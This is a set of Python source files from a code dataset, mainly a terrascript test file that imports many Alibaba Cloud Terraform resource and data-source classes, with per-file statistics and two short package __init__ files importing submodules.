alicloud_slb_server_certificate from terrascript.resource.aliyun.alicloud import alicloud_slb_server_group from terrascript.resource.aliyun.alicloud import alicloud_slb_tls_cipher_policy from terrascript.resource.aliyun.alicloud import alicloud_snapshot from terrascript.resource.aliyun.alicloud import alicloud_snapshot_policy from terrascript.resource.aliyun.alicloud import alicloud_snat_entry from terrascript.resource.aliyun.alicloud import ( alicloud_ssl_certificates_service_certificate, ) from terrascript.resource.aliyun.alicloud import alicloud_ssl_vpn_client_cert from terrascript.resource.aliyun.alicloud import alicloud_ssl_vpn_server from terrascript.resource.aliyun.alicloud import alicloud_subnet from terrascript.resource.aliyun.alicloud import alicloud_tsdb_instance from terrascript.resource.aliyun.alicloud import ( alicloud_video_surveillance_system_group, ) from terrascript.resource.aliyun.alicloud import alicloud_vod_domain from terrascript.resource.aliyun.alicloud import alicloud_vpc from terrascript.resource.aliyun.alicloud import alicloud_vpc_dhcp_options_set from terrascript.resource.aliyun.alicloud import alicloud_vpc_flow_log from terrascript.resource.aliyun.alicloud import alicloud_vpc_nat_ip from terrascript.resource.aliyun.alicloud import alicloud_vpc_nat_ip_cidr from terrascript.resource.aliyun.alicloud import alicloud_vpn_connection from terrascript.resource.aliyun.alicloud import alicloud_vpn_customer_gateway from terrascript.resource.aliyun.alicloud import alicloud_vpn_gateway from terrascript.resource.aliyun.alicloud import alicloud_vpn_route_entry from terrascript.resource.aliyun.alicloud import alicloud_vswitch from terrascript.resource.aliyun.alicloud import alicloud_waf_certificate from terrascript.resource.aliyun.alicloud import alicloud_waf_domain from terrascript.resource.aliyun.alicloud import alicloud_waf_instance from terrascript.resource.aliyun.alicloud import ( alicloud_yundun_bastionhost_instance, ) from terrascript.resource.aliyun.alicloud import alicloud_yundun_dbaudit_instance def test_datasource_import(): from terrascript.data.aliyun.alicloud import alicloud_account from terrascript.data.aliyun.alicloud import alicloud_ack_service from terrascript.data.aliyun.alicloud import alicloud_actiontrail_trails from terrascript.data.aliyun.alicloud import alicloud_actiontrails from terrascript.data.aliyun.alicloud import alicloud_adb_clusters from terrascript.data.aliyun.alicloud import alicloud_adb_db_clusters from terrascript.data.aliyun.alicloud import alicloud_adb_zones from terrascript.data.aliyun.alicloud import alicloud_alb_acls from terrascript.data.aliyun.alicloud import alicloud_alb_health_check_templates from terrascript.data.aliyun.alicloud import alicloud_alb_listeners from terrascript.data.aliyun.alicloud import alicloud_alb_load_balancers from terrascript.data.aliyun.alicloud import alicloud_alb_rules from terrascript.data.aliyun.alicloud import alicloud_alb_security_policies from terrascript.data.aliyun.alicloud import alicloud_alb_server_groups from terrascript.data.aliyun.alicloud import alicloud_alb_zones from terrascript.data.aliyun.alicloud import alicloud_alidns_domain_groups from terrascript.data.aliyun.alicloud import alicloud_alidns_domains from terrascript.data.aliyun.alicloud import alicloud_alidns_instances from terrascript.data.aliyun.alicloud import alicloud_alidns_records from terrascript.data.aliyun.alicloud import alicloud_alikafka_consumer_groups from terrascript.data.aliyun.alicloud import alicloud_alikafka_instances from terrascript.data.aliyun.alicloud import alicloud_alikafka_sasl_acls from terrascript.data.aliyun.alicloud import alicloud_alikafka_sasl_users from terrascript.data.aliyun.alicloud import alicloud_alikafka_topics from terrascript.data.aliyun.alicloud import alicloud_amqp_bindings from terrascript.data.aliyun.alicloud import alicloud_amqp_exchanges from terrascript.data.aliyun.alicloud import alicloud_amqp_instances from terrascript.data.aliyun.alicloud import alicloud_amqp_queues from terrascript.data.aliyun.alicloud import alicloud_amqp_virtual_hosts from terrascript.data.aliyun.alicloud import alicloud_api_gateway_apis from terrascript.data.aliyun.alicloud import alicloud_api_gateway_apps from terrascript.data.aliyun.alicloud import alicloud_api_gateway_groups from terrascript.data.aliyun.alicloud import alicloud_api_gateway_service from terrascript.data.aliyun.alicloud import alicloud_arms_alert_contact_groups from terrascript.data.aliyun.alicloud import alicloud_arms_alert_contacts from terrascript.data.aliyun.alicloud import alicloud_arms_dispatch_rules from terrascript.data.aliyun.alicloud import alicloud_arms_prometheus_alert_rules from terrascript.data.aliyun.alicloud import alicloud_bastionhost_host_accounts from terrascript.data.aliyun.alicloud import alicloud_bastionhost_host_groups from terrascript.data.aliyun.alicloud import alicloud_bastionhost_hosts from terrascript.data.aliyun.alicloud import alicloud_bastionhost_instances from terrascript.data.aliyun.alicloud import alicloud_bastionhost_user_groups from terrascript.data.aliyun.alicloud import alicloud_bastionhost_users from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_pid_loops from terrascript.data.aliyun.alicloud import ( alicloud_brain_industrial_pid_organizations, ) from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_pid_projects from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_service from terrascript.data.aliyun.alicloud import alicloud_caller_identity from terrascript.data.aliyun.alicloud import alicloud_cas_certificates from terrascript.data.aliyun.alicloud import alicloud_cassandra_backup_plans from terrascript.data.aliyun.alicloud import alicloud_cassandra_clusters from terrascript.data.aliyun.alicloud import alicloud_cassandra_data_centers from terrascript.data.aliyun.alicloud import alicloud_cassandra_zones from terrascript.data.aliyun.alicloud import alicloud_cddc_dedicated_host_groups from terrascript.data.aliyun.alicloud import alicloud_cdn_real_time_log_deliveries from terrascript.data.aliyun.alicloud import alicloud_cdn_service from terrascript.data.aliyun.alicloud import alicloud_cen_bandwidth_limits from terrascript.data.aliyun.alicloud import alicloud_cen_bandwidth_packages from terrascript.data.aliyun.alicloud import alicloud_cen_flowlogs from terrascript.data.aliyun.alicloud import alicloud_cen_instance_attachments from terrascript.data.aliyun.alicloud import alicloud_cen_instances from terrascript.data.aliyun.alicloud import alicloud_cen_private_zones from terrascript.data.aliyun.alicloud import alicloud_cen_region_route_entries from terrascript.data.aliyun.alicloud import alicloud_cen_route_entries from terrascript.data.aliyun.alicloud import alicloud_cen_route_maps from terrascript.data.aliyun.alicloud import alicloud_cen_route_services from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_peer_attachments, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_route_entries, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_route_table_associations, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_route_table_propagations, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_route_tables, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_vbr_attachments, ) from terrascript.data.aliyun.alicloud import ( alicloud_cen_transit_router_vpc_attachments, ) from terrascript.data.aliyun.alicloud import alicloud_cen_transit_routers from terrascript.data.aliyun.alicloud import alicloud_cen_vbr_health_checks from terrascript.data.aliyun.alicloud import alicloud_click_house_accounts from terrascript.data.aliyun.alicloud import alicloud_click_house_db_clusters from terrascript.data.aliyun.alicloud import alicloud_cloud_connect_networks from terrascript.data.aliyun.alicloud import ( alicloud_cloud_firewall_control_policies, ) from terrascript.data.aliyun.alicloud import alicloud_cloud_sso_directories from terrascript.data.aliyun.alicloud import alicloud_cloud_storage_gateway_gateways from terrascript.data.aliyun.alicloud import alicloud_cloud_storage_gateway_service from terrascript.data.aliyun.alicloud import ( alicloud_cloud_storage_gateway_storage_bundles, ) from terrascript.data.aliyun.alicloud import alicloud_cms_alarm_contact_groups from terrascript.data.aliyun.alicloud import alicloud_cms_alarm_contacts from terrascript.data.aliyun.alicloud import alicloud_cms_group_metric_rules from terrascript.data.aliyun.alicloud import alicloud_cms_metric_rule_templates from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_group_instances from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_group_instanceses from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_groups from terrascript.data.aliyun.alicloud import alicloud_cms_service from terrascript.data.aliyun.alicloud import alicloud_common_bandwidth_packages from terrascript.data.aliyun.alicloud import ( alicloud_config_aggregate_compliance_packs, ) from terrascript.data.aliyun.alicloud import alicloud_config_aggregate_config_rules from terrascript.data.aliyun.alicloud import alicloud_config_aggregators from terrascript.data.aliyun.alicloud import alicloud_config_compliance_packs from terrascript.data.aliyun.alicloud import alicloud_config_configuration_recorders from terrascript.data.aliyun.alicloud import alicloud_config_delivery_channels from terrascript.data.aliyun.alicloud import alicloud_config_rules from terrascript.data.aliyun.alicloud import alicloud_cr_ee_instances from terrascript.data.aliyun.alicloud import alicloud_cr_ee_namespaces from terrascript.data.aliyun.alicloud import alicloud_cr_ee_repos from terrascript.data.aliyun.alicloud import alicloud_cr_ee_sync_rules from terrascript.data.aliyun.alicloud import alicloud_cr_namespaces from terrascript.data.aliyun.alicloud import alicloud_cr_repos from terrascript.data.aliyun.alicloud import alicloud_cr_service from terrascript.data.aliyun.alicloud import alicloud_cs_edge_kubernetes_clusters from terrascript.data.aliyun.alicloud import alicloud_cs_kubernetes_clusters from terrascript.data.aliyun.alicloud import alicloud_cs_kubernetes_permissions from terrascript.data.aliyun.alicloud import alicloud_cs_managed_kubernetes_clusters from terrascript.data.aliyun.alicloud import ( alicloud_cs_serverless_kubernetes_clusters, ) from terrascript.data.aliyun.alicloud import alicloud_data_works_folders from terrascript.data.aliyun.alicloud import alicloud_database_gateway_gateways from terrascript.data.aliyun.alicloud import alicloud_datahub_service from terrascript.data.aliyun.alicloud import alicloud_dataworks_service from terrascript.data.aliyun.alicloud import alicloud_db_instance_classes from terrascript.data.aliyun.alicloud import alicloud_db_instance_engines from terrascript.data.aliyun.alicloud import alicloud_db_instances from terrascript.data.aliyun.alicloud import alicloud_db_zones from terrascript.data.aliyun.alicloud import alicloud_dbfs_instances from terrascript.data.aliyun.alicloud import alicloud_dcdn_domains from terrascript.data.aliyun.alicloud import alicloud_dcdn_service from terrascript.data.aliyun.alicloud import alicloud_ddosbgp_instances from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_domain_resources from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_instances from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_ports from terrascript.data.aliyun.alicloud import alicloud_dfs_access_groups from terrascript.data.aliyun.alicloud import alicloud_direct_mail_domains from terrascript.data.aliyun.alicloud import alicloud_direct_mail_mail_addresses from terrascript.data.aliyun.alicloud import alicloud_direct_mail_receiverses from terrascript.data.aliyun.alicloud import alicloud_disks from terrascript.data.aliyun.alicloud import alicloud_dms_enterprise_instances from terrascript.data.aliyun.alicloud import alicloud_dms_enterprise_users from terrascript.data.aliyun.alicloud import alicloud_dns_domain_groups from terrascript.data.aliyun.alicloud import alicloud_dns_domain_records from terrascript.data.aliyun.alicloud import alicloud_dns_domain_txt_guid from terrascript.data.aliyun.alicloud import alicloud_dns_domains from terrascript.data.aliyun.alicloud import alicloud_dns_groups from terrascript.data.aliyun.alicloud import alicloud_dns_instances from terrascript.data.aliyun.alicloud import alicloud_dns_records from terrascript.data.aliyun.alicloud import alicloud_dns_resolution_lines from terrascript.data.aliyun.alicloud import alicloud_drds_instances from terrascript.data.aliyun.alicloud import alicloud_ecd_policy_groups from terrascript.data.aliyun.alicloud import alicloud_eci_container_groups from terrascript.data.aliyun.alicloud import alicloud_eci_image_caches from terrascript.data.aliyun.alicloud import alicloud_ecp_key_pairs from terrascript.data.aliyun.alicloud import alicloud_ecs_auto_snapshot_policies from terrascript.data.aliyun.alicloud import alicloud_ecs_commands from terrascript.data.aliyun.alicloud import alicloud_ecs_dedicated_hosts from terrascript.data.aliyun.alicloud import alicloud_ecs_disks from terrascript.data.aliyun.alicloud import alicloud_ecs_hpc_clusters from terrascript.data.aliyun.alicloud import alicloud_ecs_key_pairs from terrascript.data.aliyun.alicloud import alicloud_ecs_launch_templates from terrascript.data.aliyun.alicloud import alicloud_ecs_network_interfaces from terrascript.data.aliyun.alicloud import alicloud_ecs_snapshots from terrascript.data.aliyun.alicloud import alicloud_edas_applications from terrascript.data.aliyun.alicloud import alicloud_edas_clusters from terrascript.data.aliyun.alicloud import alicloud_edas_deploy_groups from terrascript.data.aliyun.alicloud import alicloud_edas_service from terrascript.data.aliyun.alicloud import alicloud_ehpc_job_templates from terrascript.data.aliyun.alicloud import alicloud_eip_addresses from terrascript.data.aliyun.alicloud import ( alicloud_eipanycast_anycast_eip_addresses, ) from terrascript.data.aliyun.alicloud import alicloud_eips from terrascript.data.aliyun.alicloud import alicloud_elasticsearch_instances from terrascript.data.aliyun.alicloud import alicloud_elasticsearch_zones from terrascript.data.aliyun.alicloud import alicloud_emr_disk_types from terrascript.data.aliyun.alicloud import alicloud_emr_instance_types from terrascript.data.aliyun.alicloud import alicloud_emr_main_versions from terrascript.data.aliyun.alicloud import alicloud_enhanced_nat_available_zones from terrascript.data.aliyun.alicloud import alicloud_ens_key_pairs from terrascript.data.aliyun.alicloud import alicloud_ess_alarms from terrascript.data.aliyun.alicloud import alicloud_ess_lifecycle_hooks from terrascript.data.aliyun.alicloud import alicloud_ess_notifications from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_configurations from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_groups from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_rules from terrascript.data.aliyun.alicloud import alicloud_ess_scheduled_tasks from terrascript.data.aliyun.alicloud import alicloud_event_bridge_event_buses from terrascript.data.aliyun.alicloud import alicloud_event_bridge_event_sources from terrascript.data.aliyun.alicloud import alicloud_event_bridge_rules from terrascript.data.aliyun.alicloud import alicloud_event_bridge_service from terrascript.data.aliyun.alicloud import alicloud_express_connect_access_points from terrascript.data.aliyun.alicloud import ( alicloud_express_connect_physical_connection_service, ) from terrascript.data.aliyun.alicloud import ( alicloud_express_connect_physical_connections, ) from terrascript.data.aliyun.alicloud import ( alicloud_express_connect_virtual_border_routers, ) from terrascript.data.aliyun.alicloud import alicloud_fc_custom_domains from terrascript.data.aliyun.alicloud import alicloud_fc_functions from terrascript.data.aliyun.alicloud import alicloud_fc_service from terrascript.data.aliyun.alicloud import alicloud_fc_services from terrascript.data.aliyun.alicloud import alicloud_fc_triggers from terrascript.data.aliyun.alicloud import alicloud_fc_zones from terrascript.data.aliyun.alicloud import alicloud_file_crc64_checksum from terrascript.data.aliyun.alicloud import alicloud_fnf_flows from terrascript.data.aliyun.alicloud import alicloud_fnf_schedules from terrascript.data.aliyun.alicloud import alicloud_fnf_service from terrascript.data.aliyun.alicloud import alicloud_forward_entries from terrascript.data.aliyun.alicloud import alicloud_ga_accelerators from terrascript.data.aliyun.alicloud import alicloud_ga_bandwidth_packages from terrascript.data.aliyun.alicloud import alicloud_ga_endpoint_groups from terrascript.data.aliyun.alicloud import alicloud_ga_forwarding_rules from terrascript.data.aliyun.alicloud import alicloud_ga_ip_sets from terrascript.data.aliyun.alicloud import alicloud_ga_listeners from terrascript.data.aliyun.alicloud import alicloud_gpdb_instances from terrascript.data.aliyun.alicloud import alicloud_gpdb_zones from terrascript.data.aliyun.alicloud import alicloud_graph_database_db_instances from terrascript.data.aliyun.alicloud import alicloud_havips from terrascript.data.aliyun.alicloud import alicloud_hbase_instance_types from terrascript.data.aliyun.alicloud import alicloud_hbase_instances from terrascript.data.aliyun.alicloud import alicloud_hbase_zones from terrascript.data.aliyun.alicloud import alicloud_hbr_ecs_backup_clients from terrascript.data.aliyun.alicloud import alicloud_hbr_ecs_backup_plans from terrascript.data.aliyun.alicloud import alicloud_hbr_nas_backup_plans from terrascript.data.aliyun.alicloud import alicloud_hbr_oss_backup_plans from terrascript.data.aliyun.alicloud import alicloud_hbr_restore_jobs from terrascript.data.aliyun.alicloud import alicloud_hbr_snapshots from terrascript.data.aliyun.alicloud import alicloud_hbr_vaults from terrascript.data.aliyun.alicloud import alicloud_images from terrascript.data.aliyun.alicloud import alicloud_imm_projects from terrascript.data.aliyun.alicloud import alicloud_instance_type_families from terrascript.data.aliyun.alicloud import alicloud_instance_types from terrascript.data.aliyun.alicloud import alicloud_instances from terrascript.data.aliyun.alicloud import alicloud_iot_device_groups from terrascript.data.aliyun.alicloud import alicloud_iot_service from terrascript.data.aliyun.alicloud import alicloud_key_pairs from terrascript.data.aliyun.alicloud import alicloud_kms_aliases from terrascript.data.aliyun.alicloud import alicloud_kms_ciphertext from terrascript.data.aliyun.alicloud import alicloud_kms_key_versions from terrascript.data.aliyun.alicloud import alicloud_kms_keys from terrascript.data.aliyun.alicloud import alicloud_kms_plaintext from terrascript.data.aliyun.alicloud import alicloud_kms_secret_versions from terrascript.data.aliyun.alicloud import alicloud_kms_secrets from terrascript.data.aliyun.alicloud import alicloud_kms_service from terrascript.data.aliyun.alicloud import alicloud_kvstore_accounts from terrascript.data.aliyun.alicloud import alicloud_kvstore_connections from terrascript.data.aliyun.alicloud import alicloud_kvstore_instance_classes from terrascript.data.aliyun.alicloud import alicloud_kvstore_instance_engines from terrascript.data.aliyun.alicloud import alicloud_kvstore_instances from terrascript.data.aliyun.alicloud import alicloud_kvstore_permission from terrascript.data.aliyun.alicloud import alicloud_kvstore_zones from terrascript.data.aliyun.alicloud import alicloud_lindorm_instances from terrascript.data.aliyun.alicloud import alicloud_log_projects from terrascript.data.aliyun.alicloud import alicloud_log_service from terrascript.data.aliyun.alicloud import alicloud_log_stores from terrascript.data.aliyun.alicloud import alicloud_market_product from terrascript.data.aliyun.alicloud import alicloud_market_products from terrascript.data.aliyun.alicloud import alicloud_maxcompute_service from terrascript.data.aliyun.alicloud import alicloud_mns_queues from terrascript.data.aliyun.alicloud import alicloud_mns_service from terrascript.data.aliyun.alicloud import alicloud_mns_topic_subscriptions from terrascript.data.aliyun.alicloud import alicloud_mns_topics from terrascript.data.aliyun.alicloud import alicloud_mongo_instances from terrascript.data.aliyun.alicloud import alicloud_mongodb_instances from terrascript.data.aliyun.alicloud import alicloud_mongodb_zones from terrascript.data.aliyun.alicloud import alicloud_msc_sub_contacts from terrascript.data.aliyun.alicloud import alicloud_msc_sub_subscriptions from terrascript.data.aliyun.alicloud import alicloud_mse_clusters from terrascript.data.aliyun.alicloud import alicloud_nas_access_groups from terrascript.data.aliyun.alicloud import alicloud_nas_access_rules from terrascript.data.aliyun.alicloud import alicloud_nas_file_systems from terrascript.data.aliyun.alicloud import alicloud_nas_mount_targets from terrascript.data.aliyun.alicloud import alicloud_nas_protocols from terrascript.data.aliyun.alicloud import alicloud_nas_service from terrascript.data.aliyun.alicloud import alicloud_nat_gateways from terrascript.data.aliyun.alicloud import alicloud_network_acls from terrascript.data.aliyun.alicloud import alicloud_network_interfaces from terrascript.data.aliyun.alicloud import alicloud_ons_groups from terrascript.data.aliyun.alicloud import alicloud_ons_instances from terrascript.data.aliyun.alicloud import alicloud_ons_service from terrascript.data.aliyun.alicloud import alicloud_ons_topics from terrascript.data.aliyun.alicloud import alicloud_oos_executions from terrascript.data.aliyun.alicloud import alicloud_oos_templates from terrascript.data.aliyun.alicloud import alicloud_open_search_app_groups from terrascript.data.aliyun.alicloud import alicloud_oss_bucket_objects from terrascript.data.aliyun.alicloud import alicloud_oss_buckets from terrascript.data.aliyun.alicloud import alicloud_oss_service from terrascript.data.aliyun.alicloud import alicloud_ots_instance_attachments from terrascript.data.aliyun.alicloud import alicloud_ots_instances from terrascript.data.aliyun.alicloud import alicloud_ots_service from terrascript.data.aliyun.alicloud import alicloud_ots_tables from terrascript.data.aliyun.alicloud import alicloud_polardb_accounts from terrascript.data.aliyun.alicloud import alicloud_polardb_clusters from terrascript.data.aliyun.alicloud import alicloud_polardb_databases from terrascript.data.aliyun.alicloud import alicloud_polardb_endpoints from terrascript.data.aliyun.alicloud import alicloud_polardb_node_classes from terrascript.data.aliyun.alicloud import alicloud_polardb_zones from terrascript.data.aliyun.alicloud import alicloud_privatelink_service from terrascript.data.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_connections, ) from terrascript.data.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_service_resources, ) from terrascript.data.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_service_users, ) from terrascript.data.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_services, ) from terrascript.data.aliyun.alicloud import alicloud_privatelink_vpc_endpoint_zones from terrascript.data.aliyun.alicloud import alicloud_privatelink_vpc_endpoints from terrascript.data.aliyun.alicloud import alicloud_pvtz_service from terrascript.data.aliyun.alicloud import alicloud_pvtz_zone_records from terrascript.data.aliyun.alicloud import alicloud_pvtz_zones from terrascript.data.aliyun.alicloud import alicloud_quick_bi_users from terrascript.data.aliyun.alicloud import alicloud_quotas_application_infos from terrascript.data.aliyun.alicloud import alicloud_quotas_quota_alarms from terrascript.data.aliyun.alicloud import alicloud_quotas_quota_applications from terrascript.data.aliyun.alicloud import alicloud_quotas_quotas from terrascript.data.aliyun.alicloud import alicloud_ram_account_alias from terrascript.data.aliyun.alicloud import alicloud_ram_account_aliases from terrascript.data.aliyun.alicloud import alicloud_ram_groups from terrascript.data.aliyun.alicloud import alicloud_ram_policies from terrascript.data.aliyun.alicloud import alicloud_ram_roles from terrascript.data.aliyun.alicloud import alicloud_ram_saml_providers from terrascript.data.aliyun.alicloud import alicloud_ram_users from terrascript.data.aliyun.alicloud import alicloud_rds_accounts from terrascript.data.aliyun.alicloud import alicloud_rds_parameter_groups from terrascript.data.aliyun.alicloud import alicloud_regions from terrascript.data.aliyun.alicloud import alicloud_resource_manager_accounts from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_control_policies, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_control_policy_attachments, ) from terrascript.data.aliyun.alicloud import alicloud_resource_manager_folders from terrascript.data.aliyun.alicloud import alicloud_resource_manager_handshakes from terrascript.data.aliyun.alicloud import alicloud_resource_manager_policies from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_policy_attachments, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_policy_versions, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_resource_directories, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_resource_groups, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_resource_shares, ) from terrascript.data.aliyun.alicloud import alicloud_resource_manager_roles from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_shared_resources, ) from terrascript.data.aliyun.alicloud import ( alicloud_resource_manager_shared_targets, ) from terrascript.data.aliyun.alicloud import alicloud_ros_change_sets from terrascript.data.aliyun.alicloud import alicloud_ros_stack_groups from terrascript.data.aliyun.alicloud import alicloud_ros_stacks from terrascript.data.aliyun.alicloud import alicloud_ros_templates from terrascript.data.aliyun.alicloud import alicloud_route_entries from terrascript.data.aliyun.alicloud import alicloud_route_tables from terrascript.data.aliyun.alicloud import alicloud_router_interfaces from terrascript.data.aliyun.alicloud import alicloud_sae_applications from terrascript.data.aliyun.alicloud import alicloud_sae_config_maps from terrascript.data.aliyun.alicloud import alicloud_sae_namespaces from terrascript.data.aliyun.alicloud import alicloud_sae_service from terrascript.data.aliyun.alicloud import alicloud_sag_acls from terrascript.data.aliyun.alicloud import alicloud_scdn_domains from terrascript.data.aliyun.alicloud import alicloud_sddp_configs from terrascript.data.aliyun.alicloud import alicloud_sddp_instances from terrascript.data.aliyun.alicloud import alicloud_sddp_rules from terrascript.data.aliyun.alicloud import alicloud_security_center_groups from terrascript.data.aliyun.alicloud import alicloud_security_group_rules from terrascript.data.aliyun.alicloud import alicloud_security_groups from terrascript.data.aliyun.alicloud import ( alicloud_simple_application_server_images, ) from terrascript.data.aliyun.alicloud import ( alicloud_simple_application_server_instances, ) from terrascript.data.aliyun.alicloud import ( alicloud_simple_application_server_plans, ) from terrascript.data.aliyun.alicloud import alicloud_slb_acls from terrascript.data.aliyun.alicloud import alicloud_slb_attachments from terrascript.data.aliyun.alicloud import alicloud_slb_backend_servers from terrascript.data.aliyun.alicloud import alicloud_slb_ca_certificates from terrascript.data.aliyun.alicloud import alicloud_slb_domain_extensions from terrascript.data.aliyun.alicloud import alicloud_slb_listeners from terrascript.data.aliyun.alicloud import alicloud_slb_load_balancers from terrascript.data.aliyun.alicloud import alicloud_slb_master_slave_server_groups from terrascript.data.aliyun.alicloud import alicloud_slb_rules from terrascript.data.aliyun.alicloud import alicloud_slb_server_certificates from terrascript.data.aliyun.alicloud import alicloud_slb_server_groups from terrascript.data.aliyun.alicloud import alicloud_slb_tls_cipher_policies from terrascript.data.aliyun.alicloud import alicloud_slb_zones from terrascript.data.aliyun.alicloud import alicloud_slbs from terrascript.data.aliyun.alicloud import alicloud_snapshots from terrascript.data.aliyun.alicloud import alicloud_snat_entries from terrascript.data.aliyun.alicloud import ( alicloud_ssl_certificates_service_certificates, ) from terrascript.data.aliyun.alicloud import alicloud_ssl_vpn_client_certs from terrascript.data.aliyun.alicloud import alicloud_ssl_vpn_servers from terrascript.data.aliyun.alicloud import alicloud_tsdb_instances from terrascript.data.aliyun.alicloud import alicloud_tsdb_zones from terrascript.data.aliyun.alicloud import ( alicloud_video_surveillance_system_groups, ) from terrascript.data.aliyun.alicloud import alicloud_vod_domains from terrascript.data.aliyun.alicloud import alicloud_vpc_dhcp_options_sets from terrascript.data.aliyun.alicloud import alicloud_vpc_flow_logs from terrascript.data.aliyun.alicloud import alicloud_vpc_nat_ip_cidrs from terrascript.data.aliyun.alicloud import alicloud_vpc_nat_ips from terrascript.data.aliyun.alicloud import alicloud_vpcs from terrascript.data.aliyun.alicloud import alicloud_vpn_connections from terrascript.data.aliyun.alicloud import alicloud_vpn_customer_gateways from terrascript.data.aliyun.alicloud import alicloud_vpn_gateways from terrascript.data.aliyun.alicloud import alicloud_vs_service from terrascript.data.aliyun.alicloud import alicloud_vswitches from terrascript.data.aliyun.alicloud import alicloud_waf_certificates from terrascript.data.aliyun.alicloud import alicloud_waf_domains from terrascript.data.aliyun.alicloud import alicloud_waf_instances from terrascript.data.aliyun.alicloud import alicloud_yundun_bastionhost_instances from terrascript.data.aliyun.alicloud import alicloud_yundun_dbaudit_instance from terrascript.data.aliyun.alicloud import alicloud_zones # TODO: Shortcut imports without namespace for official and supported providers. # TODO: This has to be moved into a required_providers block. # def test_version_source(): # # import terrascript.provider.aliyun.alicloud # # t = terrascript.provider.aliyun.alicloud.alicloud() # s = str(t) # # assert 'https://github.com/aliyun/terraform-provider-alicloud' in s # assert '1.136.0' in s
36.660163
88
0.828913
8,070
67,638
6.663321
0.065056
0.212969
0.302754
0.423856
0.967921
0.963327
0.951388
0.927157
0.525747
0.196232
0
0.000357
0.129705
67,638
1,844
89
36.680043
0.91314
0.007363
0
0.09505
1
0
0
0
0
0
0
0.000542
0
1
0.00297
true
0.00099
0.809901
0
0.812871
0
0
0
0
null
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
11
5fac64960f6f2d11374a31e751f72d229b810768
297
py
Python
nlp_uncertainty_ssl/__init__.py
apmoore1/nlp-uncertainty-ssl
4531ffce61557b4d4a71b97698479a30f65efaec
[ "Apache-2.0" ]
null
null
null
nlp_uncertainty_ssl/__init__.py
apmoore1/nlp-uncertainty-ssl
4531ffce61557b4d4a71b97698479a30f65efaec
[ "Apache-2.0" ]
null
null
null
nlp_uncertainty_ssl/__init__.py
apmoore1/nlp-uncertainty-ssl
4531ffce61557b4d4a71b97698479a30f65efaec
[ "Apache-2.0" ]
null
null
null
from nlp_uncertainty_ssl import dataset_readers from nlp_uncertainty_ssl import models from nlp_uncertainty_ssl import predictors from nlp_uncertainty_ssl import metrics from nlp_uncertainty_ssl import util from nlp_uncertainty_ssl import emotion_metrics from nlp_uncertainty_ssl import model_util
42.428571
47
0.909091
45
297
5.622222
0.288889
0.193676
0.498024
0.581028
0.802372
0.268775
0
0
0
0
0
0
0.090909
297
7
48
42.428571
0.937037
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
5fb89c5956dbb490de8d1a55b017d9c01a0208ad
231
py
Python
server/src/prefect_server/database/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
1
2020-08-01T15:44:32.000Z
2020-08-01T15:44:32.000Z
server/src/prefect_server/database/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
3
2022-02-14T11:25:57.000Z
2022-02-27T16:25:14.000Z
server/src/prefect_server/database/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
1
2020-05-04T13:22:11.000Z
2020-05-04T13:22:11.000Z
# Licensed under the Prefect Community License, available at # https://www.prefect.io/legal/prefect-community-license import prefect_server.database.hasura import prefect_server.database.orm import prefect_server.database.models
28.875
60
0.839827
31
231
6.16129
0.580645
0.204188
0.298429
0.424084
0
0
0
0
0
0
0
0
0.082251
231
7
61
33
0.900943
0.489177
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
395dfbbb276bb415ddcb736bd806e7236efeaa3b
45
py
Python
timbot/__init__.py
palmerito0/timbot
01b08dfdeb06768a61b12234224ff51ada81618e
[ "MIT" ]
null
null
null
timbot/__init__.py
palmerito0/timbot
01b08dfdeb06768a61b12234224ff51ada81618e
[ "MIT" ]
null
null
null
timbot/__init__.py
palmerito0/timbot
01b08dfdeb06768a61b12234224ff51ada81618e
[ "MIT" ]
null
null
null
from timbot import * from timbot.bot import *
22.5
24
0.777778
7
45
5
0.571429
0.571429
0
0
0
0
0
0
0
0
0
0
0.155556
45
2
24
22.5
0.921053
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
